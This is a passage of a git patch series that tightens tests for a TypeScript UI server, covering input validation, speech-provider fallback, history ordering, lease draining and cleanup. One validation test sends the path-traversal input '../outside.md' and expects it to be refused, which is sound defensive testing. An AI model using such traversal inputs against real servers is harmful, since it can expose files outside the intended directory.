readFileSync(join(t.brainPath, CLI_LOG), "utf8").trim().split("\n").map((l) => JSON.parse(l)) : []; - expect(calls.some((a: string[]) => a[0] === "add")).toBe(false); + expect(calls.map((a: string[]) => a[0])).not.toContain("add"); const admitted = await t.fetch("/api/brain/add", { method: "POST", headers: { "content-type": "application/json; charset=utf-8" }, body: valid }); expect(admitted.status).toBe(200); expect(await admitted.json()).toMatchObject({ success: true, indexed: false }); @@ -33,7 +34,7 @@ test("mounted input validation returns route-specific errors for corpus, files, try { const search = await t.fetch("/api/brain/search"); expect(search.status).toBe(400); - expect((await search.json()).error).toBeString(); + expect(await search.json()).toEqual({ error: "Query parameter 'q' is required" }); for (const [path, error] of [["/api/files/content", "missing_path"], ["/api/files/content?path=../outside.md", "invalid_path"], ["/api/geo/coastline?bbox=0,0,90,90", "invalid_bbox"]]) { const response = await t.fetch(path!); expect(response.status).toBe(400); @@ -69,7 +70,7 @@ test("mounted renderer validates input and returns configured PNG/PDF bytes with expect(await response.text()).toBe(`fixture-${format}`); } expect(calls.map((c) => c.format)).toEqual(["png", "pdf"]); - expect(calls.every((c) => c.html.includes("Odysseus reaches the harbor."))).toBe(true); + expect(calls.map((c) => c.html)).toEqual([expect.stringContaining("Odysseus reaches the harbor."), expect.stringContaining("Odysseus reaches the harbor.")]); fail = true; const failed = await t.fetch("/api/render", { method: "POST", headers: { "content-type": "application/json" }, body: JSON.stringify({ content: "# Arrival", contentType: "markdown", format: "png" }) }); expect(failed.status).toBe(500); From dd06d056588a1688398ad63164c29b7abfcc35cb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:31:01 +0100 Subject: [PATCH 231/252] test(ui-server): CLI-errors sync assertion prints the SSE frames on failure Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#40 --- packages/ui-server/tests/http-cli-errors.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/http-cli-errors.test.ts b/packages/ui-server/tests/http-cli-errors.test.ts index 1afd320506..94d059166c 100644 --- a/packages/ui-server/tests/http-cli-errors.test.ts +++ b/packages/ui-server/tests/http-cli-errors.test.ts @@ -31,7 +31,7 @@ test("mounted corpus handlers preserve CLI failures and sync terminates with an expect(sync.headers.get("content-type")).toContain("text/event-stream"); const frames = (await sync.text()).split("\n").filter((line) => line.startsWith("data: ")).map((line) => JSON.parse(line.slice(6))); expect(frames.length).toBeGreaterThan(1); - expect(frames.some((frame) => frame.type === "progress" && frame.text.includes("Fixture CLI unavailable"))).toBe(true); + expect(frames).toContainEqual({ type: "progress", text: expect.stringContaining("Fixture CLI unavailable") }); expect(frames.at(-1)).toMatchObject({ type: "done", success: false }); } finally { await t.close(); } }); From 9d3e92a277a9cd321b6367f9d272624b92228b33 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:31:04 +0100 Subject: [PATCH 232/252] test(ui-server): the refused Gemini mint test configures Deepgram so "no other provider is tried" can fail Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#41 --- packages/ui-server/tests/gemini-speech.test.ts | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/gemini-speech.test.ts b/packages/ui-server/tests/gemini-speech.test.ts index bd038f664c..c73c117d5e 100644 --- a/packages/ui-server/tests/gemini-speech.test.ts +++ b/packages/ui-server/tests/gemini-speech.test.ts @@ -38,12 +38,13 @@ function authTokensDouble(answer: Answer = () => Response.json({ name: TOKEN })) return answer(record); }, }); + const refused: string[] = []; const realFetch = globalThis.fetch; const mock = spyOn(globalThis, "fetch").mockImplementation(Object.assign(async (input: Parameters[0], init?: Parameters[1]) => { - if (String(input) !== GEMINI_AUTH_TOKENS_URL) throw new Error(`Unexpected request to ${String(input)}`); + if (String(input) !== GEMINI_AUTH_TOKENS_URL) { refused.push(String(input)); throw new Error(`Unexpected request to ${String(input)}`); } return realFetch(`http://127.0.0.1:${server.port}/v1beta/auth_tokens`, init); }, { preconnect: fetch.preconnect })); - return { seen, dispose: () => { mock.mockRestore(); server.stop(true); } }; + return { seen, refused, dispose: () => { mock.mockRestore(); server.stop(true); } }; } let active: Array<() => void> = []; @@ -232,7 +233,8 @@ describe("Gemini dictation through the mounted app", () => { test("a refused mint is the fixed 500 and no other provider is tried", async () => { const d = double(() => new Response(`API key ${KEY} expired`, { status: 403 })); - const t = await httpContractApp({ env: { VOICE_PROVIDER: "", GEMINI_API_KEY: KEY } }); + // Deepgram is configured too, so a fallback would have a provider to try. + const t = await httpContractApp({ env: { VOICE_PROVIDER: "gemini", GEMINI_API_KEY: KEY, DEEPGRAM_API_KEY: "fixture-deepgram" } }); try { keyterms(t, ["Ithaca"]); const response = await t.fetch("/api/voice/session", { method: "POST" }); @@ -241,6 +243,7 @@ describe("Gemini dictation through the mounted app", () => { expect(JSON.parse(text)).toEqual({ error: GEMINI_SESSION_FAILED }); expect(text).not.toContain(KEY); expect(d.seen).toHaveLength(1); + expect(d.refused, "no request to any other provider").toEqual([]); } finally { await t.close(); } }); From 79b4f80d5a6b421312a37c804e42f5303f4894e8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:31:08 +0100 Subject: [PATCH 233/252] test(ui-server): make live-history order/source tests able to fail on dropped items, write_gap, error identity and the receipt identity guard Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#42 --- packages/ui-server/tests/live-history-order.test.ts | 5 ++--- .../ui-server/tests/live-history-source.test.ts | 13 ++++++++----- 2 files changed, 10 insertions(+), 8 deletions(-) diff --git a/packages/ui-server/tests/live-history-order.test.ts b/packages/ui-server/tests/live-history-order.test.ts index 1df09e2b92..6150b96d38 100644 --- a/packages/ui-server/tests/live-history-order.test.ts +++ b/packages/ui-server/tests/live-history-order.test.ts @@ -23,7 +23,7 @@ test("preserves native order: witnessed Q1/A1 then unwitnessed Q2/A2 (answer tex const out=projectLiveHistory([msg("user","Typed question one."),msg("assistant","Typed answer one.",{turnId:"t1"}),msg("user","Question two."),msg("assistant","Answer two, final native form.",{turnId:"t2"})],p); const texts=out.items.flatMap(i=>"text" in i ? [i.text]:[]); const native=["Typed question one.","Typed answer one.","Question two.","Answer two, final native form."]; - expect(native.map(t=>texts.indexOf(t)),"UNWITNESSED_GROUP_FOLLOWS_PRIOR_NATIVE_EXCHANGE").toEqual(native.map(t=>texts.indexOf(t)).sort((a,b)=>a-b)); + expect(texts.filter(t=>native.includes(t)),"UNWITNESSED_GROUP_FOLLOWS_PRIOR_NATIVE_EXCHANGE").toEqual(native); expect(out.coverage.reasons).toContain("ambiguous_order"); }); @@ -36,8 +36,7 @@ for(const coverage of ["complete","partial"] as const)test(`all-unwitnessed type const env=projectLiveHistory([msg("user","T1 old typed question"),msg("assistant","A1 old typed answer",{turnId:"before-owner-1"}),msg("user","T2 old typed question"),msg("assistant","A2 old typed answer",{turnId:"before-owner-2"})],{ownerId:"ithaca",generation:1,through:3,coverage,records}); const texts=env.items.flatMap(i=>"text" in i?[i.text]:[]); expect(texts,"UNWITNESSED_PREFIX_PRECEDES_JOURNAL_WITHOUT_INVENTING_A_WITNESS").toEqual(["T1 old typed question","A1 old typed answer","T2 old typed question","A2 old typed answer","V1 newer spoken question","V2 newer spoken reply","V3 newest spoken question"]); - expect(env.coverage.state).toBe("partial");expect(env.coverage.reasons).toContain("ambiguous_order"); - if(coverage==="partial")expect(env.coverage.reasons).toContain("write_gap"); + expect(env.coverage).toEqual({state:"partial",reasons:coverage==="partial"?["ambiguous_order","write_gap"]:["ambiguous_order"]}); const bounded=boundHistory(env,new Set(),{maxBytes:600,maxItems:128,maxFactBytes:100}); expect(bounded.text,"LATEST_JOURNAL_QUESTION_SURVIVES_OLD_UNANCHORED_PREFIX").toContain("V3 newest spoken question"); expect(bounded.tailOmitted,"UNKNOWN_RECENCY_OF_DISCARDED_TEXT_IS_QUALIFIED").toBe(true); diff --git a/packages/ui-server/tests/live-history-source.test.ts b/packages/ui-server/tests/live-history-source.test.ts index e54c98b7ea..df0d3249c6 100644 --- a/packages/ui-server/tests/live-history-source.test.ts +++ b/packages/ui-server/tests/live-history-source.test.ts @@ -37,8 +37,8 @@ test("revocation while canonical read awaits never reads backend or returns a se const pending=readLiveHistory(f.host,"odysseus",{sessionId:"voyage"},f.authorized);while(!finish)await Bun.sleep(1);f.revoke();finish(page);expect(await pending).toBeUndefined();expect(f.counts().backendReads).toBe(0); }); for(const failure of ["journal","generation"] as const)test(`${failure} read error fails closed without a context-free snapshot`,async()=>{ - const f=source(failure==="journal"?{dialogueRead:async()=>{throw Error("source failed");}}:failure==="generation"?{dialogueOwnerForId:()=>({id:"ithaca",generation:2})}:{attachMessageSources:()=>{throw Error("provenance failed");}}); - await expect(readLiveHistory(f.host,"odysseus",{sessionId:"voyage"},f.authorized)).rejects.toThrow(); + const f=source(failure==="journal"?{dialogueRead:async()=>{throw Error("source failed");}}:{dialogueOwnerForId:()=>({id:"ithaca",generation:2})}); + await expect(readLiveHistory(f.host,"odysseus",{sessionId:"voyage"},f.authorized)).rejects.toThrow(failure==="journal"?"source failed":"Historical source changed"); }); test("authorized snapshot is recursively frozen, empty reads stay empty and do not execute tasks",async()=>{ const f=source({dialogueRead:async()=>({...page,records:[]})}); @@ -56,11 +56,14 @@ test("submitted voice carriers keep their recorded chat source rather than fabri for(const mismatch of ["none","principal","conversation","session","turn"] as const)test(`unresolved exact carrier classification respects receipt identity mismatch=${mismatch}`,async()=>{ const carrier='Internal task carrier {"recognized":"Research the mast."}'; - const native=[msg("user",carrier),msg("user","Later ordinary question."),msg("assistant","Later ordinary answer.",{turnId:"ordinary-turn"})]; - const stored={id:mismatch==="conversation"?"other":"old",principalId:mismatch==="principal"?"penelope":"odysseus",epoch:1,sessionId:mismatch==="session"?"other-session":"voyage",receipts:[{provenance:"contextual",turnId:mismatch==="turn"?"ordinary-turn":"missing-turn",submitted:carrier,state:"completed",requestId:"host-request",epoch:1}],results:[]}; + const native=[msg("user",carrier),msg("assistant","Bronze owl.",{turnId:"t"}),msg("user","Later ordinary question."),msg("assistant","Later ordinary answer.",{turnId:"ordinary-turn"})]; + // A witnessed completed receipt in the same stored conversation is the control: only a matching identity admits its fact. + const witnessed={provenance:"typed",turnId:"t",submitted:"Where is the bronze owl?",state:"completed",requestId:"r",epoch:1}; + const stored={id:mismatch==="conversation"?"other":"old",principalId:mismatch==="principal"?"penelope":"odysseus",epoch:1,sessionId:mismatch==="session"?"other-session":"voyage",receipts:[{provenance:"contextual",turnId:mismatch==="turn"?"ordinary-turn":"missing-turn",submitted:carrier,state:"completed",requestId:"host-request",epoch:1},witnessed],results:[{requestId:"r",facts:"The bronze owl is on the mast."}]}; const f=source({loadConversation:async()=>stored});f.host.registry.getBackendForSession=async()=>({getHistory:async()=>native}) as never; const out=await readLiveHistory(f.host,"odysseus",{sessionId:"voyage"},f.authorized); - expect(out!.items.some(i=>"text" in i&&i.text===carrier),"MISSING_OR_FOREIGN_RECEIPT_CANNOT_AUTHENTICATE_UNKNOWN_USER").toBe(false); + expect(out!.items.flatMap(i=>"text" in i?[i.text]:[]),"MISSING_OR_FOREIGN_RECEIPT_CANNOT_AUTHENTICATE_UNKNOWN_USER").not.toContain(carrier); + expect(out!.items.flatMap(i=>i.kind==="host_fact"?[i.text]:[]),"ONLY_THE_OWNERS_STORED_CONVERSATION_SUPPLIES_FACTS").toEqual(mismatch==="none"||mismatch==="turn"?["The bronze owl is on the mast."]:[]); expect(out!.items.flatMap(i=>i.kind==="typed"&&i.role==="user"?[i.text]:[])).toEqual([]); expect(out!.coverage).toMatchObject({state:"partial",reasons:expect.arrayContaining(["source_unavailable"])}); expect(out!.items).toContainEqual(expect.objectContaining({kind:"typed",role:"assistant",text:"Later ordinary answer."})); From 9ff52736a1ee2bff8a59114c63a2baf6d2928fef Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:35:02 +0100 Subject: [PATCH 234/252] test(ui-server): name the raw-file CSP frame test for what it checks Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#44 --- packages/ui-server/tests/frame-headers.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-server/tests/frame-headers.test.ts b/packages/ui-server/tests/frame-headers.test.ts index 4689cffd0a..b4318395b8 100644 --- a/packages/ui-server/tests/frame-headers.test.ts +++ b/packages/ui-server/tests/frame-headers.test.ts @@ -58,7 +58,7 @@ describe("frame protection headers", () => { expectFrameHeaders(file); }); - test("appends frame protection to the raw file CSP", async () => { + test("keeps the raw file's own CSP, which carries frame-ancestors", async () => { const response = await app.fetch("/api/files/content?path=note.md&raw=1"); expect(response.status).toBe(200); From 4a3fc4976b5e42e634d43bd88579a965995472d3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:35:06 +0100 Subject: [PATCH 235/252] test(ui-server): geo route tests remove the temp cache directories they create Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#45 --- packages/ui-server/tests/geo-route.test.ts | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/geo-route.test.ts b/packages/ui-server/tests/geo-route.test.ts index df38213d1a..0a03015987 100644 --- a/packages/ui-server/tests/geo-route.test.ts +++ b/packages/ui-server/tests/geo-route.test.ts @@ -11,9 +11,9 @@ * is what makes using Overpass at all defensible: one request per place, ever. */ -import { describe, expect, spyOn, test } from "bun:test"; +import { afterEach, describe, expect, spyOn, test } from "bun:test"; import * as fsPromises from "node:fs/promises"; -import { mkdtemp, readdir, writeFile } from "node:fs/promises"; +import { mkdtemp, readdir, rm, writeFile } from "node:fs/promises"; import { tmpdir } from "node:os"; import { join } from "node:path"; @@ -51,12 +51,19 @@ const EMPTY: CoastlineResult = { attribution: "© OpenStreetMap contributors", }; +const cacheDirs: string[] = []; +afterEach(async () => { + for (const dir of cacheDirs.splice(0)) await rm(dir, { recursive: true, force: true }); +}); + async function config(): Promise { + const cacheDir = await mkdtemp(join(tmpdir(), "geo-cache-")); + cacheDirs.push(cacheDir); return { enabled: true, url: "https://overpass.invalid/api/interpreter", userAgent: "brain-kit-test/1.0", - cacheDir: await mkdtemp(join(tmpdir(), "geo-cache-")), + cacheDir, }; } From eb424c3c7b1d9396c17c0e600b46052dabb64cb8 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:39:08 +0100 Subject: [PATCH 236/252] test(ui-server): test-app teardown case owns its app and checks every helper env key Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#46 --- .../ui-server/tests/helpers/test-app.test.ts | 34 ++++++++++++++----- 1 file changed, 25 insertions(+), 9 deletions(-) diff --git a/packages/ui-server/tests/helpers/test-app.test.ts b/packages/ui-server/tests/helpers/test-app.test.ts index b2208422ae..2f33295ac7 100644 --- a/packages/ui-server/tests/helpers/test-app.test.ts +++ b/packages/ui-server/tests/helpers/test-app.test.ts @@ -3,11 +3,14 @@ import { existsSync } from "fs"; import { createTestApp, type TestApp, withHeaders } from "./test-app"; +// Every key the helper overrides at boot, written out independently of the +// helper's own list so a key it forgets to restore shows up here. const HELPER_ENV = [ "AUTH_MODE", "BRAIN_UI_PASSWORD_HASH", "COOKIE_SECRET", "ALLOWED_ORIGINS", + "WEBAUTHN_ORIGINS", "TRUST_PROXY", "BRAIN_UI_DANGEROUSLY_DISABLE_AUTH", "HOST", @@ -16,11 +19,15 @@ const HELPER_ENV = [ "BRAIN_PATH", "BRAIN_UI_PRICING_DISCOVERY", "PI_CODING_AGENT_DIR", + "CLAUDE_CODE_PATH", + "BRAIN_UI_NATIVE_BRAIN_SOCKET", + "BRAIN_UI_NATIVE_BRAIN_LEASE_PATH", + "BRAIN_UI_NATIVE_BRAIN_TIMEOUT_MS", + "BRAIN_UI_NATIVE_BRAIN_DELTA_BYTES", "SOURCE_COMMIT", ] as const; -const envBeforeSuite = new Map( - HELPER_ENV.map((key) => [key, process.env[key]] as const) -); +const helperEnv = (): Record => + Object.fromEntries(HELPER_ENV.map((key) => [key, process.env[key]])); let testApp: TestApp; describe("test-app helper", () => { @@ -39,6 +46,7 @@ describe("test-app helper", () => { test("boots once and serves a real GET", async () => { expect(existsSync(testApp.dbPath)).toBe(true); expect(testApp.app.config.brainPath).toBe(testApp.brainPath); + expect(testApp.app.config.sourceCommit).toBe("test-app-helper"); expect(process.env.PI_CODING_AGENT_DIR).toBe(testApp.piAgentDir); expect(process.env.BRAIN_UI_PRICING_DISCOVERY).toBe("0"); @@ -70,12 +78,20 @@ describe("test-app helper", () => { }); describe("test-app helper teardown", () => { - test("the preceding suite's afterAll restored every overridden env value", () => { - for (const [key, value] of envBeforeSuite) { - expect(process.env[key]).toBe(value); + test("teardown restores every overridden env value and removes the temporary state", async () => { + // Its own app, so the claim holds in any test order. + const envBefore = helperEnv(); + const app = await createTestApp({ env: { SOURCE_COMMIT: "test-app-teardown" } }); + try { + expect(process.env.SOURCE_COMMIT).toBe("test-app-teardown"); + expect(existsSync(app.dbPath)).toBe(true); + } finally { + await app.teardown(); } - expect(existsSync(testApp.dbPath)).toBe(false); - expect(existsSync(testApp.brainPath)).toBe(false); - expect(existsSync(testApp.piAgentDir)).toBe(false); + + expect(helperEnv()).toStrictEqual(envBefore); + expect(existsSync(app.dbPath)).toBe(false); + expect(existsSync(app.brainPath)).toBe(false); + expect(existsSync(app.piAgentDir)).toBe(false); }); }); From b2eff934b415a845ee1ea6393203ef81e1843099 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:39:11 +0100 Subject: [PATCH 237/252] test(ui-server): inbox-bin spawn helper keeps non-JSON stdout so a crashing bin's failure shows stderr and exit code Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#47 --- packages/ui-server/tests/inbox-bin.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/packages/ui-server/tests/inbox-bin.test.ts b/packages/ui-server/tests/inbox-bin.test.ts index 5bbb993fd7..5c256dfb55 100644 --- a/packages/ui-server/tests/inbox-bin.test.ts +++ b/packages/ui-server/tests/inbox-bin.test.ts @@ -9,7 +9,10 @@ afterEach(() => { for (const root of roots.splice(0)) rmSync(root, { recursive: async function command(args: string[]) { const child = Bun.spawn([process.execPath, join(import.meta.dir, "../src/bin/brain-ui-inbox.ts"), ...args], { stdout: "pipe", stderr: "pipe" }); const [out, err, code] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); - return { value: JSON.parse(out), err, code }; + // Non-JSON stdout (a crash, a stack trace) stays raw text, so the failing diff shows it beside stderr and the exit code. + let value: unknown = out; + try { value = JSON.parse(out); } catch {} + return { value, err, code }; } test("recovery command JSON reports a populated export, restored state and refusal without private exception details", async () => { const root = mkdtempSync(join(tmpdir(), "brain-inbox-bin-")); roots.push(root); From ccce432dc780a0cde2eb39afd10aad03a34d256c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:42:49 +0100 Subject: [PATCH 238/252] test(ui-server): governed-manifest test pins recorded inode and hash, and its finally no longer masks failures Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#49 --- packages/ui-server/tests/governed-manifest.test.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/governed-manifest.test.ts b/packages/ui-server/tests/governed-manifest.test.ts index 0acdfe3261..051aa249d8 100644 --- a/packages/ui-server/tests/governed-manifest.test.ts +++ b/packages/ui-server/tests/governed-manifest.test.ts @@ -7,6 +7,7 @@ */ import { afterEach, describe, expect, test } from "bun:test"; import { chmodSync, existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readlinkSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { createHash } from "node:crypto"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { createUiDb } from "../src/db/client"; @@ -113,7 +114,7 @@ describe("governed manifests", async () => { // Once the quarantine is writable again, the same turn reconciles. chmodSync(w.quarantine, 0o700); expect((await w.manifests.end("turn-stuck")).quarantined.map(q => q.path)).toEqual(["bunfig.toml"]); - } finally { chmodSync(w.quarantine, 0o700); w.db.close(); } + } finally { if (existsSync(w.quarantine)) chmodSync(w.quarantine, 0o700); w.db.close(); } }); test("the manifest records identity and bytes, and appearedSince ignores what was present", () => { @@ -122,7 +123,10 @@ describe("governed manifests", async () => { const start = takeManifest(w.brain); const policy = start.entries.find(e => e.path === "context/policies")!; expect(policy).toMatchObject({ exists: true, type: "directory" }); - expect(start.entries.find(e => e.path === "package.json")!.hash).toMatch(/^[0-9a-f]{64}$/); + const pkg = lstatSync(join(w.brain, "package.json")); + expect(start.entries.find(e => e.path === "package.json"), "the file's inode and its bytes").toMatchObject({ + exists: true, type: "file", dev: pkg.dev, ino: pkg.ino, hash: createHash("sha256").update("{}\n").digest("hex"), + }); expect(start.env).toEqual([".env"]); expect(appearedSince(w.brain, start)).toEqual({ appeared: [], changed: [] }); } finally { w.db.close(); } From c59bdfe53152f49e52fb53374998b6569db0b33b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:42:52 +0100 Subject: [PATCH 239/252] test(ui-server): journal async-capture yield check samples heartbeats at ledger admission Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#50 --- packages/ui-server/tests/journal-objects-async.test.ts | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/journal-objects-async.test.ts b/packages/ui-server/tests/journal-objects-async.test.ts index f96be5c125..3e56b2a10a 100644 --- a/packages/ui-server/tests/journal-objects-async.test.ts +++ b/packages/ui-server/tests/journal-objects-async.test.ts @@ -10,15 +10,17 @@ test("changed-file capture yields to other sessions and preserves durable object const root = mkdtempSync(join(tmpdir(), "journal-async-odysseus-")); const dbPath = join(root, "ui.db"), db = createUiDb(dbPath); const ledger = createJournalAccounting(db, dbPath); - const store = createJournalObjects(join(root, "objects"), ledger); + // The identity pass runs before admission and awaits nothing but its reads, so + // heartbeats seen at admission prove those reads yield to the loop. + let heartbeats = 0, heartbeatsAtAdmission = -1; + const store = createJournalObjects(join(root, "objects"), { reserve(bytes, hash) { heartbeatsAtAdmission = heartbeats; return ledger.reserve(bytes, hash); } }); const bytes = Buffer.alloc(8 * 1024 * 1024, 65); writeFileSync(join(root, "source"), bytes); const source = openSync(join(root, "source"), "r"); - let heartbeats = 0; const timer = setInterval(() => heartbeats++, 1); try { const hash = await store.putFileAsync(source, bytes.length); - expect(heartbeats, "JOURNAL_CHANGED_CAPTURE_YIELDS_TO_SESSIONS").toBeGreaterThan(0); + expect(heartbeatsAtAdmission, "JOURNAL_CHANGED_CAPTURE_YIELDS_TO_SESSIONS").toBeGreaterThan(0); expect(store.verify(hash, bytes.length)).toBe(true); expect(db.query("SELECT bytes,state FROM turn_journal_objects WHERE hash=?").get(hash)).toEqual({ bytes: bytes.length, state: "present" }); expect(db.query("SELECT count(*) AS n FROM turn_journal_reservations").get()).toEqual({ n: 0 }); From 6d131269e4fd20a41c3147b553e0ed7edaeb71bc Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:49:13 +0100 Subject: [PATCH 240/252] test(ui-server): native lease tests give a skipped close drain a real chance to act and cover the settle recheck after the pool answers Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#53 --- .../tests/native-brain-leases.test.ts | 43 +++++++++++++++++-- 1 file changed, 39 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/native-brain-leases.test.ts b/packages/ui-server/tests/native-brain-leases.test.ts index 7e3d278eea..f3dd1fa1ae 100644 --- a/packages/ui-server/tests/native-brain-leases.test.ts +++ b/packages/ui-server/tests/native-brain-leases.test.ts @@ -19,15 +19,15 @@ async function fixture() { test("native UUID ownership is durable before RPC and a second live generation cannot release its pins", async () => { const f = await fixture(), checkpoint = f.native.client.checkpoint; - let beforeRpc = false; + let beforeRpc: unknown; f.native.client.checkpoint = async (...args) => { - beforeRpc = (f.state.query("SELECT state FROM native_root_leases WHERE id=?").get(ID) as { state: string }).state === "creating"; + beforeRpc = f.state.query("SELECT state FROM native_root_leases WHERE id=?").get(ID); return checkpoint(...args); }; const second = await createNativeBrainLeaseManager(f.native.client, f.options); try { await f.owner.client.checkpoint(ID); - expect(beforeRpc, "NATIVE_LEASE_DURABLE_BEFORE_CREATION_RPC").toBe(true); + expect(beforeRpc, "NATIVE_LEASE_DURABLE_BEFORE_CREATION_RPC").toEqual({ state: "creating" }); await expectRejection(second.client.release(ID), "another live"); await expectRejection(second.client.checkpoint(ID), "another live"); expect(await second.recoverDeadOwners()).toMatchObject({ released: [], retainedLive: 1 }); @@ -140,7 +140,8 @@ test("close drains cancelled pending creation before releasing its recorded UUID await started; abort.abort(Error("Cancelled admission")); let settled = false; const closing = f.owner.close().then(() => { settled = true; }); - await Promise.resolve(); + // A close that skipped the drain would already have committed its deletion intent. + await f.owner.writer.idle(); expect(settled, "NATIVE_CLOSE_WAITS_FOR_UNKNOWN_CREATION").toBe(false); expect(events, "NATIVE_CLOSE_DRAINS_CREATION_BEFORE_RELEASE").toEqual(["creating"]); expect(f.state.query("SELECT state FROM native_root_leases WHERE id=?").get(ID)).toEqual({ state: "creating" }); @@ -305,6 +306,40 @@ test("settling a failed release never overrides a newer release of the same iden } finally { await f.close(); } }); +test("a failed release's settlement yields to a newer release that starts while the pool answers (#2431)", async () => { + const f = await fixture(); + const SOURCE = "33333333-3333-4333-8333-333333332433"; + const records = new Map>(); + f.native.client.poolCreate = async (id, purpose, from) => { + const value = { id, purpose, from, allowanceBytes: 4096, state: "writable", root: null, path: null, ownerBytes: null, reason: null, view: null, access: null }; + records.set(id, value); return value as never; + }; + let listing: () => void = () => {}, newer: () => void = () => {}, commit: () => void = () => {}; + const listed = new Promise(resolve => { listing = resolve; }); + const newerStarted = new Promise(resolve => { newer = resolve; }); + const committed = new Promise(resolve => { commit = resolve; }); + // The pool still reports the root writable, but only answers once the newer release has reached it. + f.native.client.listPoolRecovery = async () => { listing(); await newerStarted; return { records: [...records.values()] as never, next: null }; }; + let attempts = 0; + f.native.client.poolRelease = async id => { + if (++attempts === 1) throw new Error("the first reply was lost"); + newer(); + await committed; + records.delete(id); + return { id, purpose: "source", from: null, allowanceBytes: 4096, state: "reclaimed", root: null, path: null, ownerBytes: 0, reason: null, view: null, access: null } as never; + }; + try { + await f.owner.client.poolCreate(SOURCE, "source", null, 4096); + const first = f.owner.client.poolRelease(SOURCE).then(() => null, error => error); + await listed; + const second = f.owner.client.poolRelease(SOURCE); + expect((await first)?.message).toBe("the first reply was lost"); + commit(); + expect((await second).state).toBe("reclaimed"); + expect(f.state.query("SELECT state FROM native_pool_leases WHERE id=?").get(SOURCE), "REFERENCE_POOL_SETTLE_RECHECKS_AFTER_THE_POOL_ANSWERS").toBeNull(); + } finally { commit(); newer(); await f.close(); } +}); + test("pool leases recorded before checkpoints migrate without losing a row", async () => { const root = mkdtempSync(join(tmpdir(), "odysseus-native-lease-migrate-")), brain = join(root, "brain"), statePath = join(root, "native-leases.sqlite"); mkdirSync(brain); const native = createNativeJournalFixture(brain, root), ready = await native.client.ready(); From be352788e7ba08fb19079c246cfd4a9f8840fced Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:49:16 +0100 Subject: [PATCH 241/252] test(ui-server): assert skill discovery reports the data-only frontmatter refusal Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#54 --- packages/ui-server/tests/frontmatter-data-only.test.ts | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/packages/ui-server/tests/frontmatter-data-only.test.ts b/packages/ui-server/tests/frontmatter-data-only.test.ts index 22831c352d..f6877e9e99 100644 --- a/packages/ui-server/tests/frontmatter-data-only.test.ts +++ b/packages/ui-server/tests/frontmatter-data-only.test.ts @@ -24,8 +24,10 @@ test("skill create, discovery, archive install and schedule file parsing refuse expect(outcome[0]!.status).toBe("skipped"); expect(outcome[0]!.reason).toContain("use YAML data only"); mkdirSync(join(root, ".agents/skills/odyssey"), { recursive: true }); writeFileSync(join(root, ".agents/skills/odyssey/SKILL.md"), content); - manager.list(); + const listed = manager.list(); expect(sentinel.dispatched, "SKILL_DISCOVERY_NO_ENGINE_DISPATCH").toEqual([]); + expect(listed).toHaveLength(1); + expect(listed[0]!.name).toBe("odyssey"); expect(listed[0]!.warning).toContain("use YAML data only"); expect(() => parseDefinitionFile(content)).toThrow("frontmatter"); expect(sentinel.dispatched, "SCHEDULE_NO_ENGINE_DISPATCH").toEqual([]); rmSync(join(root, ".agents/skills/odyssey"), { recursive: true }); From 9432356d5b422772caf05a2e4036446a59bca83e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:52:59 +0100 Subject: [PATCH 242/252] test(ui-server): prove every index read route sits behind the read barrier Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#56 --- .../ui-server/tests/index-read-barrier.test.ts | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/packages/ui-server/tests/index-read-barrier.test.ts b/packages/ui-server/tests/index-read-barrier.test.ts index 75878a51a9..bccd55180d 100644 --- a/packages/ui-server/tests/index-read-barrier.test.ts +++ b/packages/ui-server/tests/index-read-barrier.test.ts @@ -13,9 +13,14 @@ function app(index: (paths: readonly string[]) => Promise) { hono.get("/api/brain/search", c => { reads.push("search"); return c.json({ results: [] }); 